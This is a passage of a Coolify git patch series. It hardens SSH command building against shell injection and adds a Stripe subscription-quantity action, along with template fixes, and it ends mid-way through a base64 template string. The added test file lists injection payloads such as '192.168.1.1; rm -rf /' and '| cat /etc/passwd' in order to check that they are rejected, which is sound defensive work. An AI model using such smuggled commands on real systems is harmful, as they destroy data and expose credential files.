@@ function authHeaders($bearerToken): array 'destination_type' => $this->destination->getMorphClass(), ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent/executions"); $response->assertStatus(404); @@ -316,7 +322,7 @@ function authHeaders($bearerToken): array 'name' => 'Service Task', ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->getJson("/api/v1/services/{$service->uuid}/scheduled-tasks"); $response->assertStatus(200); @@ -332,7 +338,7 @@ function authHeaders($bearerToken): array 'environment_id' => $this->environment->id, ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->postJson("/api/v1/services/{$service->uuid}/scheduled-tasks", [ 'name' => 'Service Backup', 'command' => 'pg_dump', @@ -356,7 +362,7 @@ function authHeaders($bearerToken): array 'team_id' => $this->team->id, ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->deleteJson("/api/v1/services/{$service->uuid}/scheduled-tasks/{$task->uuid}"); $response->assertStatus(200); diff --git a/tests/Unit/ApplicationComposeEditorLoadTest.php b/tests/Unit/ApplicationComposeEditorLoadTest.php index c0c8660e1..305bc72a2 100644 --- a/tests/Unit/ApplicationComposeEditorLoadTest.php +++ b/tests/Unit/ApplicationComposeEditorLoadTest.php @@ -3,7 +3,6 @@ use App\Models\Application; use App\Models\Server; use App\Models\StandaloneDocker; -use Mockery; /** * Unit test to verify docker_compose_raw is properly synced to the Livewire component diff --git a/tests/Unit/ApplicationPortDetectionTest.php b/tests/Unit/ApplicationPortDetectionTest.php index 1babdcf49..241364a93 100644 --- a/tests/Unit/ApplicationPortDetectionTest.php +++ b/tests/Unit/ApplicationPortDetectionTest.php @@ -11,7 +11,6 @@ use App\Models\Application; use App\Models\EnvironmentVariable; use Illuminate\Support\Collection; -use Mockery; beforeEach(function () { // Clean up Mockery after each test diff --git a/tests/Unit/ContainerHealthStatusTest.php b/tests/Unit/ContainerHealthStatusTest.php index b38a6aa8e..0b33db470 100644 --- a/tests/Unit/ContainerHealthStatusTest.php +++ b/tests/Unit/ContainerHealthStatusTest.php @@ -1,7 +1,6 @@ Date: Tue, 3 Mar 2026 17:57:00 +0800 Subject: [PATCH 133/305] fix(template): fix heyform template --- templates/compose/heyform.yaml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/templates/compose/heyform.yaml b/templates/compose/heyform.yaml index f88a1efec..9afddf895 100644 --- a/templates/compose/heyform.yaml +++ b/templates/compose/heyform.yaml @@ -3,7 +3,7 @@ # category: productivity # tags: form, builder, forms, survey, quiz, open source, self-hosted, docker # logo: svgs/heyform.svg -# port: 8000 +# port: 9157 services: heyform: @@ -16,7 +16,7 @@ services: keydb: condition: service_healthy environment: - - SERVICE_URL_HEYFORM_8000 + - SERVICE_URL_HEYFORM_9157 - APP_HOMEPAGE_URL=${SERVICE_URL_HEYFORM} - SESSION_KEY=${SERVICE_BASE64_64_SESSION} - FORM_ENCRYPTION_KEY=${SERVICE_BASE64_64_FORM} @@ -25,7 +25,7 @@ services: - REDIS_PORT=6379 - REDIS_PASSWORD=${SERVICE_PASSWORD_KEYDB} healthcheck: - test: ["CMD-SHELL", "wget -qO- http://127.0.0.1:8000 || exit 1"] + test: ["CMD-SHELL", "wget -qO- http://127.0.0.1:9157 || exit 1"] interval: 5s timeout: 5s retries: 3 From 839635e9e8be5cc246b1a5331a25d678fc45bede Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 3 Mar 2026 11:51:38 +0100 Subject: [PATCH 134/305] chore: prepare for PR --- app/Helpers/SshMultiplexingHelper.php | 23 ++-- .../Controllers/Api/ServersController.php | 13 +- app/Livewire/Server/New/ByIp.php | 5 +- app/Livewire/Server/Show.php | 7 +- app/Models/Server.php | 9 ++ app/Rules/ValidServerIp.php | 40 ++++++ tests/Unit/SshCommandInjectionTest.php | 125 ++++++++++++++++++ 7 files changed, 202 insertions(+), 20 deletions(-) create mode 100644 app/Rules/ValidServerIp.php create mode 100644 tests/Unit/SshCommandInjectionTest.php diff --git a/app/Helpers/SshMultiplexingHelper.php b/app/Helpers/SshMultiplexingHelper.php index 723c6d4a5..54d5714a6 100644 --- a/app/Helpers/SshMultiplexingHelper.php +++ b/app/Helpers/SshMultiplexingHelper.php @@ -37,7 +37,7 @@ public static function ensureMultiplexedConnection(Server $server): bool if (data_get($server, 'settings.is_cloudflare_tunnel')) { $checkCommand .= '-o ProxyCommand="cloudflared access ssh --hostname %h" '; } - $checkCommand .= "{$server->user}@{$server->ip}"; + $checkCommand .= self::escapedUserAtHost($server); $process = Process::run($checkCommand); if ($process->exitCode() !== 0) { @@ -80,7 +80,7 @@ public static function establishNewMultiplexedConnection(Server $server): bool $establishCommand .= ' -o ProxyCommand="cloudflared access ssh --hostname %h" '; } $establishCommand .= self::getCommonSshOptions($server, $sshKeyLocation, $connectionTimeout, $serverInterval); - $establishCommand .= "{$server->user}@{$server->ip}"; + $establishCommand .= self::escapedUserAtHost($server); $establishProcess = Process::run($establishCommand); if ($establishProcess->exitCode() !== 0) { return false; @@ -101,7 +101,7 @@ public static function removeMuxFile(Server $server) if (data_get($server, 'settings.is_cloudflare_tunnel')) { $closeCommand .= '-o ProxyCommand="cloudflared access ssh --hostname %h" '; } - $closeCommand .= "{$server->user}@{$server->ip}"; + $closeCommand .= self::escapedUserAtHost($server); Process::run($closeCommand); // Clear connection metadata from cache @@ -141,9 +141,9 @@ public static function generateScpCommand(Server $server, string $source, string $scp_command .= self::getCommonSshOptions($server, $sshKeyLocation, config('constants.ssh.connection_timeout'), config('constants.ssh.server_interval'), isScp: true); if ($server->isIpv6()) { - $scp_command .= "{$source} {$server->user}@[{$server->ip}]:{$dest}"; + $scp_command .= "{$source} ".escapeshellarg($server->user).'@['.escapeshellarg($server->ip)."]:{$dest}"; } else { - $scp_command .= "{$source} {$server->user}@{$server->ip}:{$dest}"; + $scp_command .= "{$source} ".self::escapedUserAtHost($server).":{$dest}"; } return $scp_command; @@ -189,13 +189,18 @@ public static function generateSshCommand(Server $server, string $command, bool $delimiter = base64_encode($delimiter); $command = str_replace($delimiter, '', $command); - $ssh_command .= "{$server->user}@{$server->ip} 'bash -se' << \\$delimiter".PHP_EOL + $ssh_command .= self::escapedUserAtHost($server)." 'bash -se' << \\$delimiter".PHP_EOL .$command.PHP_EOL .$delimiter; return $ssh_command; } + private static function escapedUserAtHost(Server $server): string + { + return escapeshellarg($server->user).'@'.escapeshellarg($server->ip); + } + private static function isMultiplexingEnabled(): bool { return config('constants.ssh.mux_enabled') && ! config('constants.coolify.is_windows_docker_desktop'); @@ -224,9 +229,9 @@ private static function getCommonSshOptions(Server $server, string $sshKeyLocati // Bruh if ($isScp) { - $options .= "-P {$server->port} "; + $options .= '-P '.escapeshellarg((string) $server->port).' '; } else { - $options .= "-p {$server->port} "; + $options .= '-p '.escapeshellarg((string) $server->port).' '; } return $options; @@ -245,7 +250,7 @@ public static function isConnectionHealthy(Server $server): bool if (data_get($server, 'settings.is_cloudflare_tunnel')) { $healthCommand .= '-o ProxyCommand="cloudflared access ssh --hostname %h" '; } - $healthCommand .= "{$server->user}@{$server->ip} 'echo \"health_check_ok\"'"; + $healthCommand .= self::escapedUserAtHost($server)." 'echo \"health_check_ok\"'"; $process = Process::run($healthCommand); $isHealthy = $process->exitCode() === 0 && str_contains($process->output(), 'health_check_ok'); diff --git a/app/Http/Controllers/Api/ServersController.php b/app/Http/Controllers/Api/ServersController.php index 29c6b854a..892457925 100644 --- a/app/Http/Controllers/Api/ServersController.php +++ b/app/Http/Controllers/Api/ServersController.php @@ -11,6 +11,7 @@ use App\Models\PrivateKey; use App\Models\Project; use App\Models\Server as ModelsServer; +use App\Rules\ValidServerIp; use Illuminate\Http\Request; use OpenApi\Attributes as OA; use Stringable; @@ -472,10 +473,10 @@ public function create_server(Request $request) $validator = customApiValidator($request->all(), [ 'name' => 'string|max:255', 'description' => 'string|nullable', - 'ip' => 'string|required', - 'port' => 'integer|nullable', + 'ip' => ['string', 'required', new ValidServerIp], + 'port' => 'integer|nullable|between:1,65535', 'private_key_uuid' => 'string|required', - 'user' => 'string|nullable', + 'user' => ['string', 'nullable', 'regex:/^[a-zA-Z0-9_-]+$/'], 'is_build_server' => 'boolean|nullable', 'instant_validate' => 'boolean|nullable', 'proxy_type' => 'string|nullable', @@ -637,10 +638,10 @@ public function update_server(Request $request) $validator = customApiValidator($request->all(), [ 'name' => 'string|max:255|nullable', 'description' => 'string|nullable', - 'ip' => 'string|nullable', - 'port' => 'integer|nullable', + 'ip' => ['string', 'nullable', new ValidServerIp], + 'port' => 'integer|nullable|between:1,65535', 'private_key_uuid' => 'string|nullable', - 'user' => 'string|nullable', + 'user' => ['string', 'nullable', 'regex:/^[a-zA-Z0-9_-]+$/'], 'is_build_server' => 'boolean|nullable', 'instant_validate' => 'boolean|nullable', 'proxy_type' => 'string|nullable', diff --git a/app/Livewire/Server/New/ByIp.php b/app/Livewire/Server/New/ByIp.php index eecdfb4d0..51c6a06ee 100644 --- a/app/Livewire/Server/New/ByIp.php +++ b/app/Livewire/Server/New/ByIp.php @@ -5,6 +5,7 @@ use App\Enums\ProxyTypes; use App\Models\Server; use App\Models\Team; +use App\Rules\ValidServerIp; use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Attributes\Locked; @@ -55,8 +56,8 @@ protected function rules(): array 'new_private_key_value' => 'nullable|string', 'name' => ValidationPatterns::nameRules(), 'description' => ValidationPatterns::descriptionRules(), - 'ip' => 'required|string', - 'user' => 'required|string', + 'ip' => ['required', 'string', new ValidServerIp], + 'user' => ['required', 'string', 'regex:/^[a-zA-Z0-9_-]+$/'], 'port' => 'required|integer|between:1,65535', 'is_build_server' => 'required|boolean', ]; diff --git a/app/Livewire/Server/Show.php b/app/Livewire/Server/Show.php index 83c63a81c..edc17004c 100644 --- a/app/Livewire/Server/Show.php +++ b/app/Livewire/Server/Show.php @@ -7,6 +7,7 @@ use App\Events\ServerReachabilityChanged; use App\Models\CloudProviderToken; use App\Models\Server; +use App\Rules\ValidServerIp; use App\Services\HetznerService; use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; @@ -106,9 +107,9 @@ protected function rules(): array return [ 'name' => ValidationPatterns::nameRules(), 'description' => ValidationPatterns::descriptionRules(), - 'ip' => 'required', - 'user' => 'required', - 'port' => 'required', + 'ip' => ['required', new ValidServerIp], + 'user' => ['required', 'regex:/^[a-zA-Z0-9_-]+$/'], + 'port' => 'required|integer|between:1,65535', 'validationLogs' => 'nullable', 'wildcardDomain' => 'nullable|url', 'isReachable' => 'required', diff --git a/app/Models/Server.php b/app/Models/Server.php index 49d9c3289..5099a9fec 100644 --- a/app/Models/Server.php +++ b/app/Models/Server.php @@ -913,6 +913,9 @@ public function port(): Attribute return Attribute::make( get: function ($value) { return (int) preg_replace('/[^0-9]/', '', $value); + }, + set: function ($value) { + return (int) preg_replace('/[^0-9]/', '', (string) $value); } ); } @@ -922,6 +925,9 @@ public function user(): Attribute return Attribute::make( get: function ($value) { return preg_replace('/[^A-Za-z0-9\-_]/', '', $value); + }, + set: function ($value) { + return preg_replace('/[^A-Za-z0-9\-_]/', '', $value); } ); } @@ -931,6 +937,9 @@ public function ip(): Attribute return Attribute::make( get: function ($value) { return preg_replace('/[^0-9a-zA-Z.:%-]/', '', $value); + }, + set: function ($value) { + return preg_replace('/[^0-9a-zA-Z.:%-]/', '', $value); } ); } diff --git a/app/Rules/ValidServerIp.php b/app/Rules/ValidServerIp.php new file mode 100644 index 000000000..270ff1c34 --- /dev/null +++ b/app/Rules/ValidServerIp.php @@ -0,0 +1,40 @@ +validate($attribute, $trimmed, function () use (&$failed) { + $failed = true; + }); + + if ($failed) { + $fail('The :attribute must be a valid IPv4 address, IPv6 address, or hostname.'); + } + } +} diff --git a/tests/Unit/SshCommandInjectionTest.php b/tests/Unit/SshCommandInjectionTest.php new file mode 100644 index 000000000..e7eeff62d --- /dev/null +++ b/tests/Unit/SshCommandInjectionTest.php @@ -0,0 +1,125 @@ +validate('ip', '192.168.1.1', function () use (&$failed) { + $failed = true; + }); + expect($failed)->toBeFalse(); +}); + +it('accepts a valid IPv6 address', function () { + $rule = new ValidServerIp; + $failed = false; + $rule->validate('ip', '2001:db8::1', function () use (&$failed) { + $failed = true; + }); + expect($failed)->toBeFalse(); +}); + +it('accepts a valid hostname', function () { + $rule = new ValidServerIp; + $failed = false; + $rule->validate('ip', 'my-server.example.com', function () use (&$failed) { + $failed = true; + }); + expect($failed)->toBeFalse(); +}); + +it('rejects injection payloads in server ip', function (string $payload) { + $rule = new ValidServerIp; + $failed = false; + $rule->validate('ip', $payload, function () use (&$failed) { + $failed = true; + }); + expect($failed)->toBeTrue("ValidServerIp should reject: $payload"); +})->with([ + 'semicolon' => ['192.168.1.1; rm -rf /'], + 'pipe' => ['192.168.1.1 | cat /etc/passwd'], + 'backtick' => ['192.168.1.1`id`'], + 'dollar subshell' => ['192.168.1.1$(id)'], + 'ampersand' => ['192.168.1.1 & id'], + 'newline' => ["192.168.1.1\nid"], + 'null byte' => ["192.168.1.1\0id"], +]); + +// ------------------------------------------------------------------------- +// Server model setter casts +// ------------------------------------------------------------------------- + +it('strips dangerous characters from server ip on write', function () { + $server = new App\Models\Server; + $server->ip = '192.168.1.1;rm -rf /'; + // Regex [^0-9a-zA-Z.:%-] removes ; space and /; hyphen is allowed + expect($server->ip)->toBe('192.168.1.1rm-rf'); +}); + +it('strips dangerous characters from server user on write', function () { + $server = new App\Models\Server; + $server->user = 'root$(id)'; + expect($server->user)->toBe('rootid'); +}); + +it('strips non-numeric characters from server port on write', function () { + $server = new App\Models\Server; + $server->port = '22; evil'; + expect($server->port)->toBe(22); +}); + +// ------------------------------------------------------------------------- +// escapeshellarg() in generated SSH commands (source-level verification) +// ------------------------------------------------------------------------- + +it('has escapedUserAtHost private static helper in SshMultiplexingHelper', function () { + $reflection = new ReflectionClass(SshMultiplexingHelper::class); + expect($reflection->hasMethod('escapedUserAtHost'))->toBeTrue(); + + $method = $reflection->getMethod('escapedUserAtHost'); + expect($method->isPrivate())->toBeTrue(); + expect($method->isStatic())->toBeTrue(); +}); + +it('wraps port with escapeshellarg in getCommonSshOptions', function () { + $reflection = new ReflectionClass(SshMultiplexingHelper::class); + $source = file_get_contents($reflection->getFileName()); + + expect($source)->toContain('escapeshellarg((string) $server->port)'); +}); + +it('has no raw user@ip string interpolation in SshMultiplexingHelper', function () { + $reflection = new ReflectionClass(SshMultiplexingHelper::class); + $source = file_get_contents($reflection->getFileName()); + + expect($source)->not->toContain('{$server->user}@{$server->ip}'); +}); + +// ------------------------------------------------------------------------- +// ValidHostname rejects shell metacharacters +// ------------------------------------------------------------------------- + +it('rejects semicolon in hostname', function () { + $rule = new ValidHostname; + $failed = false; + $rule->validate('hostname', 'example.com;id', function () use (&$failed) { + $failed = true; + }); + expect($failed)->toBeTrue(); +}); + +it('rejects backtick in hostname', function () { + $rule = new ValidHostname; + $failed = false; + $rule->validate('hostname', 'example.com`id`', function () use (&$failed) { + $failed = true; + }); + expect($failed)->toBeTrue(); +}); From 76ae720c36c35b042a2dee6123b924405460573b Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 3 Mar 2026 12:24:13 +0100 Subject: [PATCH 135/305] feat(subscription): add Stripe server limit quantity adjustment flow Introduce a new `UpdateSubscriptionQuantity` Stripe action to: - preview prorated due-now and next-cycle recurring costs - update subscription item quantity with proration invoicing - revert quantity and void invoice when payment is not completed Wire the flow into the Livewire subscription actions UI with a new adjust-limit modal, price preview loading, and confirmation-based updates. Also refactor the subscription management section layout and fix modal confirmation behavior for temporary 2FA bypass. Add `Subscription::billingInterval()` helper and comprehensive Pest coverage for quantity updates, preview calculations, failure/revert paths, and billing interval logic. --- .../Stripe/UpdateSubscriptionQuantity.php | 192 +++++++++ templates/service-templates-latest.json | 4 +- templates/service-templates.json | 4 +- .../UpdateSubscriptionQuantityTest.php | 375 ++++++++++++++++++ 4 files changed, 571 insertions(+), 4 deletions(-) create mode 100644 app/Actions/Stripe/UpdateSubscriptionQuantity.php create mode 100644 tests/Feature/Subscription/UpdateSubscriptionQuantityTest.php diff --git a/app/Actions/Stripe/UpdateSubscriptionQuantity.php b/app/Actions/Stripe/UpdateSubscriptionQuantity.php new file mode 100644 index 000000000..f22f56ad0 --- /dev/null +++ b/app/Actions/Stripe/UpdateSubscriptionQuantity.php @@ -0,0 +1,192 @@ +stripe = $stripe ?? new StripeClient(config('subscription.stripe_api_key')); + } + + /** + * Fetch a full price preview for a quantity change from Stripe. + * Returns both the prorated amount due now and the recurring cost for the next billing cycle. + * + * @return array{success: bool, error: string|null, preview: array{due_now: int, recurring_subtotal: int, recurring_tax: int, recurring_total: int, unit_price: int, tax_description: string|null, quantity: int, currency: string}|null} + */ + public function fetchPricePreview(Team $team, int $quantity): array + { + $subscription = $team->subscription; + + if (! $subscription?->stripe_subscription_id || ! $subscription->stripe_invoice_paid) { + return ['success' => false, 'error' => 'No active subscription found.', 'preview' => null]; + } + + try { + $stripeSubscription = $this->stripe->subscriptions->retrieve($subscription->stripe_subscription_id); + $item = $stripeSubscription->items->data[0] ?? null; + + if (! $item) { + return ['success' => false, 'error' => 'Could not retrieve subscription details.', 'preview' => null]; + } + + $currency = strtoupper($item->price->currency ?? 'usd'); + + // Upcoming invoice gives us the prorated amount due now + $upcomingInvoice = $this->stripe->invoices->upcoming([ + 'customer' => $subscription->stripe_customer_id, + 'subscription' => $subscription->stripe_subscription_id, + 'subscription_items' => [ + ['id' => $item->id, 'quantity' => $quantity], + ], + 'subscription_proration_behavior' => 'create_prorations', + ]); + + // Extract tax percentage — try total_tax_amounts first, fall back to invoice tax/subtotal + $taxPercentage = 0.0; + $taxDescription = null; + if (! empty($upcomingInvoice->total_tax_amounts)) { + $taxAmount = $upcomingInvoice->total_tax_amounts[0] ?? null; + if ($taxAmount?->tax_rate) { + $taxRate = $this->stripe->taxRates->retrieve($taxAmount->tax_rate); + $taxPercentage = (float) ($taxRate->percentage ?? 0); + $taxDescription = $taxRate->display_name.' ('.$taxRate->jurisdiction.') '.$taxRate->percentage.'%'; + } + } + if ($taxPercentage === 0.0 && ($upcomingInvoice->tax ?? 0) > 0 && ($upcomingInvoice->subtotal ?? 0) > 0) { + $taxPercentage = round(($upcomingInvoice->tax / $upcomingInvoice->subtotal) * 100, 2); + } + + // Recurring cost for next cycle — read from non-proration invoice lines + $recurringSubtotal = 0; + foreach ($upcomingInvoice->lines->data as $line) { + if (! $line->proration) { + $recurringSubtotal += $line->amount; + } + } + $unitPrice = $quantity > 0 ? (int) round($recurringSubtotal / $quantity) : 0; + + $recurringTax = $taxPercentage > 0 + ? (int) round($recurringSubtotal * $taxPercentage / 100) + : 0; + $recurringTotal = $recurringSubtotal + $recurringTax; + + // Due now = amount_due (accounts for customer balance/credits) minus recurring + $amountDue = $upcomingInvoice->amount_due ?? $upcomingInvoice->total ?? 0; + $dueNow = $amountDue - $recurringTotal; + + return [ + 'success' => true, + 'error' => null, + 'preview' => [ + 'due_now' => $dueNow, + 'recurring_subtotal' => $recurringSubtotal, + 'recurring_tax' => $recurringTax, + 'recurring_total' => $recurringTotal, + 'unit_price' => $unitPrice, + 'tax_description' => $taxDescription, + 'quantity' => $quantity, + 'currency' => $currency, + ], + ]; + } catch (\Exception $e) { + \Log::warning("Stripe fetch price preview error for team {$team->id}: ".$e->getMessage()); + + return ['success' => false, 'error' => 'Could not load price preview.', 'preview' => null]; + } + } + + /** + * Update the subscription quantity (server limit) for a team. + * + * @return array{success: bool, error: string|null} + */ + public function execute(Team $team, int $quantity): array + { + if ($quantity < 2) { + return ['success' => false, 'error' => 'Minimum server limit is 2.']; + } + + $subscription = $team->subscription; + + if (! $subscription?->stripe_subscription_id) { + return ['success' => false, 'error' => 'No active subscription found.']; + } + + if (! $subscription->stripe_invoice_paid) { + return ['success' => false, 'error' => 'Subscription is not active.']; + } + + try { + $stripeSubscription = $this->stripe->subscriptions->retrieve($subscription->stripe_subscription_id); + $item = $stripeSubscription->items->data[0] ?? null; + + if (! $item?->id) { + return ['success' => false, 'error' => 'Could not find subscription item.']; + } + + $previousQuantity = $item->quantity ?? $team->custom_server_limit; + + $updatedSubscription = $this->stripe->subscriptions->update($subscription->stripe_subscription_id, [ + 'items' => [ + ['id' => $item->id, 'quantity' => $quantity], + ], + 'proration_behavior' => 'always_invoice', + 'expand' => ['latest_invoice'], + ]); + + // Check if the proration invoice was paid + $latestInvoice = $updatedSubscription->latest_invoice; + if ($latestInvoice && $latestInvoice->status !== 'paid') { + \Log::warning("Subscription {$subscription->stripe_subscription_id} quantity updated but invoice not paid (status: {$latestInvoice->status}) for team {$team->name}. Reverting to {$previousQuantity}."); + + // Revert subscription quantity on Stripe + $this->stripe->subscriptions->update($subscription->stripe_subscription_id, [ + 'items' => [ + ['id' => $item->id, 'quantity' => $previousQuantity], + ], + 'proration_behavior' => 'none', + ]); + + // Void the unpaid invoice + if ($latestInvoice->id) { + $this->stripe->invoices->voidInvoice($latestInvoice->id); + } + + return ['success' => false, 'error' => 'Payment failed. Your server limit was not changed. Please check your payment method and try again.']; + } + + $team->update([ + 'custom_server_limit' => $quantity, + ]); + + ServerLimitCheckJob::dispatch($team); + + \Log::info("Subscription {$subscription->stripe_subscription_id} quantity updated to {$quantity} for team {$team->name}"); + + return ['success' => true, 'error' => null]; + } catch (\Stripe\Exception\InvalidRequestException $e) { + \Log::error("Stripe update quantity error for team {$team->id}: ".$e->getMessage()); + + return ['success' => false, 'error' => 'Stripe error: '.$e->getMessage()]; + } catch (\Exception $e) { + \Log::error("Update subscription quantity error for team {$team->id}: ".$e->getMessage()); + + return ['success' => false, 'error' => 'An unexpected error occurred. Please contact support.']; + } + } + + private function formatAmount(int $cents, string $currency): string + { + return strtoupper($currency) === 'USD' + ? '$'.number_format($cents / 100, 2) + : number_format($cents / 100, 2).' '.$currency; + } +} diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json index e343e6293..6c7af5dc5 100644 --- a/templates/service-templates-latest.json +++ b/templates/service-templates-latest.json @@ -684,7 +684,7 @@ "cloudreve": { "documentation": "https://docs.cloudreve.org/?utm_source=coolify.io", "slogan": "A self-hosted file management and sharing system.", - "compose": "c2VydmljZXM6CiAgY2xvdWRyZXZlOgogICAgaW1hZ2U6ICdjbG91ZHJldmUvY2xvdWRyZXZlOjQuMTAuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0NMT1VEUkVWRV81MjEyCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5UeXBlPXBvc3RncmVzCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5Ib3N0PXBvc3RncmVzCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuVXNlcj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuUGFzc3dvcmQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnQ1JfQ09ORl9EYXRhYmFzZS5OYW1lPSR7UE9TVEdSRVNfREI6LWNsb3VkcmV2ZS1kYn0nCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5Qb3J0PTU0MzIKICAgICAgLSAnQ1JfQ09ORl9SZWRpcy5TZXJ2ZXI9cmVkaXM6NjM3OScKICAgICAgLSAnQ1JfQ09ORl9SZWRpcy5QYXNzd29yZD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnY2xvdWRyZXZlLWRhdGE6L2Nsb3VkcmV2ZS9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG5jCiAgICAgICAgLSAnLXonCiAgICAgICAgLSBsb2NhbGhvc3QKICAgICAgICAtICc1MjEyJwogICAgICBpbnRlcnZhbDogMjBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxOC1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWNsb3VkcmV2ZS1kYn0nCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogNQogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo3LWFscGluZScKICAgIGNvbW1hbmQ6ICdyZWRpcy1zZXJ2ZXIgLS1yZXF1aXJlcGFzcyAke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAncmVkaXMtZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtICctYScKICAgICAgICAtICcke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDUK", + "compose": "c2VydmljZXM6CiAgY2xvdWRyZXZlOgogICAgaW1hZ2U6ICdjbG91ZHJldmUvY2xvdWRyZXZlOjQuMTAuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0NMT1VEUkVWRV81MjEyCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5UeXBlPXBvc3RncmVzCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5Ib3N0PXBvc3RncmVzCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuVXNlcj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuUGFzc3dvcmQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnQ1JfQ09ORl9EYXRhYmFzZS5OYW1lPSR7UE9TVEdSRVNfREI6LWNsb3VkcmV2ZS1kYn0nCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5Qb3J0PTU0MzIKICAgICAgLSAnQ1JfQ09ORl9SZWRpcy5TZXJ2ZXI9cmVkaXM6NjM3OScKICAgICAgLSAnQ1JfQ09ORl9SZWRpcy5QYXNzd29yZD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnY2xvdWRyZXZlLWRhdGE6L2Nsb3VkcmV2ZS9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG5jCiAgICAgICAgLSAnLXonCiAgICAgICAgLSBsb2NhbGhvc3QKICAgICAgICAtICc1MjEyJwogICAgICBpbnRlcnZhbDogMjBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxOC1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWNsb3VkcmV2ZS1kYn0nCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9